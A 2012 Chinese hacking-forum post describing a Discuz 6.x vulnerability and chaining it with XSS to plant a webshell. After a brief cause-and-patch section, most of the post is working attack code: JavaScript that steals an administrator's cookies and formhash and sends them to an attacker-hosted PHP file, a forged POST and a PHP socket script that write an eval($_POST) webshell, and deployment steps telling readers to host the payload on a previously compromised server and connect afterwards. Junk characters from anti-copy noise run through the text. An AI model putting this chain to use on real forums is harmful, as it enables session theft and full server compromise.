找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3845|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
5 _3 \& M! O+ r" [; P& j) gBy racle @tian6.com$ B, r" K; H2 r
欢迎转帖.但请保留版权信息.
+ Y4 U' X+ t! @" i) r8 T受影响版本iscuz<=6.1.0,gbk+utf+big5
0 `& d: T7 z+ ?$ ?2 c
. G) D( k, U+ ~8 E2 |" W新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.+ O5 Y" w# ~! d* @

7 o0 H& K& _) k% ?+ l2 f* l. Z
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706$ H4 q! B+ u& l, j+ q& q+ G. @
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
- `) |! r  b. [. t8 d! d' B# Y3 k$ o8 u: M! V& o
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..8 U# w; C$ h1 V) |8 h$ x
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS3 G# s" {: A$ v
, F/ t5 c* V! c1 e: I
# b( L1 J* x  E/ ^, h* I' H
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------6 X/ y. U5 \* B6 I/ X) F

5 [, O/ ]# G: r' R+ _
9 d9 N" w) J- h+ _  [& dproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
7 b% R" p  i2 q  a8 f7 ~; O
' e! G; o; ^' X# ]4 e) Z4 Q7 lproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.- u  ^. z1 {7 O# i2 ]0 D6 `
! b* w! l. y* `2 T+ u2 f
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.6 ?5 q2 F5 N' h8 ^0 U

& f; S  d8 ?' N! [1 e' i
: D8 l1 ?$ b6 p( r- T, Y1 ?& Z: a下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {9 C, T. F+ _& }4 w0 r6 s

( m) C0 `. s4 z, ]3 E7 ]8 j0 Z        global $runwizardfile, $runwizardhistory;& J$ D( r& Q# K! F# ^

) |  r" A. F6 H        $fp = fopen($runwizardfile, 'w');
4 C0 e/ l! g% n; Z! T+ q  j; O  }  C& K6 s' U/ O
        fwrite($fp, serialize($runwizardhistory));$ e# N& D" J( \* ^$ K& b0 \

; ^4 d# X( u. R, L        fclose($fp);0 S, _+ ~1 I& w" s: N( A9 i7 L

) n7 t5 q8 \& z( ~3 F5 T. M& V" s}0 ^3 |. [5 U. |7 Q& Q
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.8 T3 I8 ]5 r0 A" T6 V, l
以下是修补的办法:function saverunwizardhistory() {# K" n. Z  X/ V1 W4 B
  l1 D2 x3 X( T4 h4 l8 o) Z
        global $runwizardfile, $runwizardhistory;3 O& a. V; a1 w$ C1 ]

$ s4 t) }. h; z5 G        $fp = fopen($runwizardfile, 'w');
+ e8 a. [, P' Q* `9 e) A) [; Q3 [
        $s = '<?php exit;?>';4 x4 b9 t; t0 D$ H/ b

' P7 |4 w+ {$ J9 D4 [        $s .= serialize($runwizardhistory);* A: Z# j) S: ?% e& ^

) G) I% ?) T. b+ o$ u  S5 \0 \        fwrite($fp, $s);
0 x+ M  _. }0 V/ p  E
  n: A* P+ @7 Z' z8 |8 H" W        fclose($fp);6 M& g  V  _1 K8 I
3 R& O, O6 n' _9 @/ f/ |
}; Y  `5 e6 `5 e( m. `9 `" J; Y
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
, @9 W1 g( x/ S* x/ a; N- d9 J) n7 l1 V% @- N( y2 i9 u

1 r$ A* S. ?6 ^/ M/ y+ S. w4 a' k+ n- H+ D9 ~1 p% n3 Y# J
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
3 c* F: }( K7 `9 s- [4 S2 h
& P# N8 e# t' D+ k; w) d: _6 \! H9 t) l  r) j3 A0 }
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
+ w6 U, ~9 U: n( u0 Y+ m1 Y4 Q: j
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
% H* t4 }3 Q  k" ~
9 S5 K* \8 K" |0 Z' _7 V这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.! U# y" \" L9 p( v% `" G; G) t
1 i/ m# k6 V7 R6 l& d/ A
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
# u5 |* R1 S. t/ z: [; _. ~4 L3 o. {- n- z# K3 U; f. J
var url="http://目标网站/admincp.php";      
) j( a$ t+ `7 v4 e) ^9 |2 `/ D& r( T3 v: A1 L, }
/*获得cookies*/
* Y& M. `1 h/ `5 A
* _+ N/ [8 [0 a  e" r6 Ffunction getURL(s) {
' d: I" \6 @1 }& ^. U) _) n& R! v6 X9 M$ y0 ~4 o/ y
var image = new Image();
1 Q* ?; s$ V% \1 ]: t- Q( `. R7 f: g  X" P7 t5 W2 F; s  d& z! I1 o
image.style.width = 0;4 G4 Z1 Z) ~% Q2 ?$ w

; g! v$ T* L/ d3 W9 dimage.style.height = 0;
- R+ E; _9 K, G5 O# x& S  t! v& e/ ^5 I8 S
image.src = s;
6 S2 F" l+ J$ Q; B1 y8 r# R" i
9 F* _5 W; L) d# x/ u9 j( @) U}) y4 J* A9 E. E: v" R, Z: F

+ h8 Z3 e4 ^1 G( K9 M; j: I+ q2 LgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
; o. U3 @. K. [2 o: e$ X/ U/ C复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
5 U" ^; s; h. @* |2 D( B, b复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
6 D) t" k! t& H
# d  U. r- c; R5 l
0 d2 q: v" i6 e/ [2 y" c获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
& p$ h. ^2 l% t  v/ e" _4 a% k  `% G$ t4 i- g

# r- X# w% T% i/ h( f
: U4 Y" Y0 ^, P6 ?  b* L7 h: l/*hash*// L$ n) l7 m0 w" v- C% t
3 e! k1 t5 F* ?; A
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
: [# S2 i! ]4 M3 V" y  s2 Y" t  j7 Y5 r/ ^1 k. f3 T9 H0 d
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
  ^0 r8 b/ d; k1 Y; r3 {: w
* W; U1 G* s- Q2 a* e5 Y/ w& q; axmlHttpReq.send();
2 K2 |. m% [4 M( D# q3 r* d( j& `; C, c4 T) m
var resource = xmlHttpReq.responseText;2 C! P) e; x. h' Y/ A/ f7 u; O
8 V1 f5 V( @( X) w8 m. n( h" a7 c5 y
var numero = resource.search(/formhash/);: j" e& ^9 j, W% P8 X, K
* `( r/ R5 d  f* u  f5 j# q
var formhash=encodeURIComponent(resource.substr(numero+17,8));+ O, C* z5 Q7 Z. v& w( }/ ~
8 ?  m% }$ y' z; F3 b+ q
# j$ x9 a# h: F' y) Q. H

2 {$ r$ u! X. U9 c, svar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
4 S% b5 E6 G9 R5 `, W1 E$ T6 h7 r$ C. O6 _
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 " m7 _% _( W; J, u3 y7 ]

+ k; F1 m9 ?2 Y! ]  oxmlHttpReq.setRequestHeader("Referer", url);
' ?: d- g; \  l! R! H$ n- R1 S. M& `- k  d. h
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 x5 m# `$ }' |3 o3 h  b
* r; }+ X1 D( N$ F& K/ g/ d( M' q
xmlHttpReq.setrequestheader("content-length",post.length); : |! w0 q# @' b1 @  u

% r" d6 j1 j8 n4 g- axmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 3 N! u! G+ ~7 T
# v* R" k5 ?9 O& R
xmlHttpReq.send(post);//发送数据  H" y, g! N. T) @9 p
复制代码这里HASH我假设正确,这样提交,也无须cookies! M1 S+ t5 O3 q; t1 _
7 d3 g$ j. s9 d  n* W
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);# l5 F2 E6 V0 Q3 N% {1 e0 ^; ?2 j

; w' m( _2 F. t+ D& @* v; `  @if (!$sock) die("$errstr ($errno)\n");4 [" ~6 I, x: Z1 h5 t+ H8 n" K

) K- F8 _. J' P9 D2 w. ~$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
. F9 j! C: ~1 l4 @. p2 h" ^0 G
  U' {( q7 ]: |9 |. Q
! E) Y- K$ F& j% C1 n" L4 ~/ B$ {
0 Z9 n+ R! ?  R: I" H; rfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 a1 R/ T* s, b
8 G& x- V' u$ t' c. \fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");: b6 v) C* q8 |1 @

- ^/ |9 Y, H4 ]) }fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");$ @) V/ `1 o% Q+ u/ @
- K, ?; O* W. u( D+ v
fwrite($sock, "Accept-Language: zh-cn\r\n");  I. ^7 h% K; A5 N$ @8 i# S
% S9 O0 Q+ k0 s
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");6 E3 H7 i7 ^/ r! I/ M, u( m, s
0 E! C$ w1 C! ~9 Q. n$ ^
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");! N& N- I5 @2 x/ r9 g; r
" _* H) b4 W: q' k
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
9 Z, ?+ ^' L8 A' N  k# |3 _+ n) Y% }
fwrite($sock, "Host: $url\r\n");
: z3 |/ I; O) l8 a
. f7 o9 |( e* a# f. j% @" zfwrite($sock, "Content-Length: ".strlen($data)."\r\n");# w6 O% w$ g( a1 d

: r' Z9 T7 f, ?( ~1 o9 Xfwrite($sock, "Connection: Keep-Alive\r\n");
$ h# W9 z3 x; ?6 {
( ]3 k4 r4 L  R: [fwrite($sock, "Cache-Control: no-cache\r\n");
* [. t. G) r# G) @6 f# P- E9 h+ J# E. g+ w0 [7 x: U9 X$ H
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
$ R% \# e) N& I- n- H
3 x0 N6 H4 H8 F: W& ffwrite($sock, $data);
" s  ^" [9 x. r5 w, D) ]- G( }' a/ e4 ?) t# v

1 l- _$ H# ?0 C# N1 S/ i8 Z
4 _! V9 u' i7 g$headers = "";6 z) m6 ]% J  P1 j2 P/ F, J
# k4 w/ c% ^& b9 m5 J
while ($str = trim(fgets($sock, 4096)))
# @% v" W  u  E! L6 d1 D; t3 R
- Y5 F3 z9 J5 `4 W$ O8 K9 H     $headers .= "$str\n";
5 m; i( Q& U: ?3 p2 n8 P3 J7 F) j$ V- y1 c( c' m
echo "\n";6 |8 Q! `$ Q  ~# V/ ^# f' @
+ C" J% s# Z. a& d) X1 w
$body = "";! c1 o2 d/ i4 v- M% C  V( G
2 S& v, y8 ], u: B$ m7 z
while (!feof($sock))
- g# ^9 l% m$ ~
7 k, b3 j9 q! X! u! V     $body .= fgets($sock, 4096);
  N( e: h8 P: U8 @5 u5 e' p" c' y, x# \/ V* \1 w! a
fclose($sock);
0 R' r- A: `' W" `, Z
% d+ d/ I" [2 g3 V( {8 mecho $body;
' p2 h6 |. Y# V, ?6 t! C复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
  ]8 ?0 X$ @+ s- U  ~7 @* H- t) {
& _; C+ h  s  m& w  D# }1 ^, d- {1 j8 F
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------7 Z2 ?7 U0 v' [. c* I  ^% J3 _& n
1 S( I  m* u3 T. Z9 n* X$ y% H
; ~* N( R9 e- O% G% b
1HP SOCKET利用方法首先打开racle.js
/ ?  c$ w  m7 l  [+ M- I# W7 V* K8 z9 P' w+ T! b
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
  f2 j7 l) _0 D3 S- L
4 i& @; T% r7 g+ n0 H8 ?6 |  C( S. O% T
& m) Z0 C) P8 A: ?1 C! s4 H: N
然后打开racle@tian6.php
) C3 K* t# c1 y# ?+ V! Z/ ^
* W$ p! W( n0 K0 W3 [$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
4 F9 V$ O* S( c3 I' e- p4 p: }' r' x  S# ]  ~6 {$ `
2 p# a7 F, C& a$ ?
. O+ D8 e+ p. G/ Z
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
; `7 a! w2 f% `& V1 s- q0 v
. p/ I. `9 d) J. ]  agetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
8 [: _! @3 X/ }4 D* }
9 e1 X) z& W8 \( K1 }/ @" S; c1 f; w3 C3 i! h

7 v9 C# ~( W1 _* F4 {. G1 e# [- {" lgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
* A( K+ f+ H+ ^" F" ^& ?' d复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
1 _5 \# |* W# `' h" z% L; g3 `5 H( G+ E0 N

% R0 _( m, v4 M! I, a0 z% O- ^* x* A/ b, p" H* ?5 \* j- x) n
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' m: c# R' b- m. z4 l
8 Y$ Y# V* |# p- v
var formhash=encodeURIComponent(resource.substr(numero+17,8));
  f& @  L4 ~) V* M* N( v% P" X9 \- H/ f. [" r

5 t+ B$ }" y3 w
: x% P- I& g" v; F: i1 ?! `! o' Wvar formhash=encodeURIComponent(resource.substr(numero+9,8));
$ f9 N7 E+ w8 q5 G- b( a复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
3 Z5 E3 a1 q- ^- F9 d
0 ]6 j, u, e/ b: T4 i如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.* P: T. d, p7 S& b2 c% w, N1 G

* G0 Q8 u8 F* ?: E- i  |3 {1 @: N0 g如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.  H5 Z3 m$ B' |& b. i

8 P8 v" A# Y% g$ _! |+ A, ^6 ~& b" L不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.$ G' y2 d. O, B9 j

! W% @  k2 F5 Y  F+ y" e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表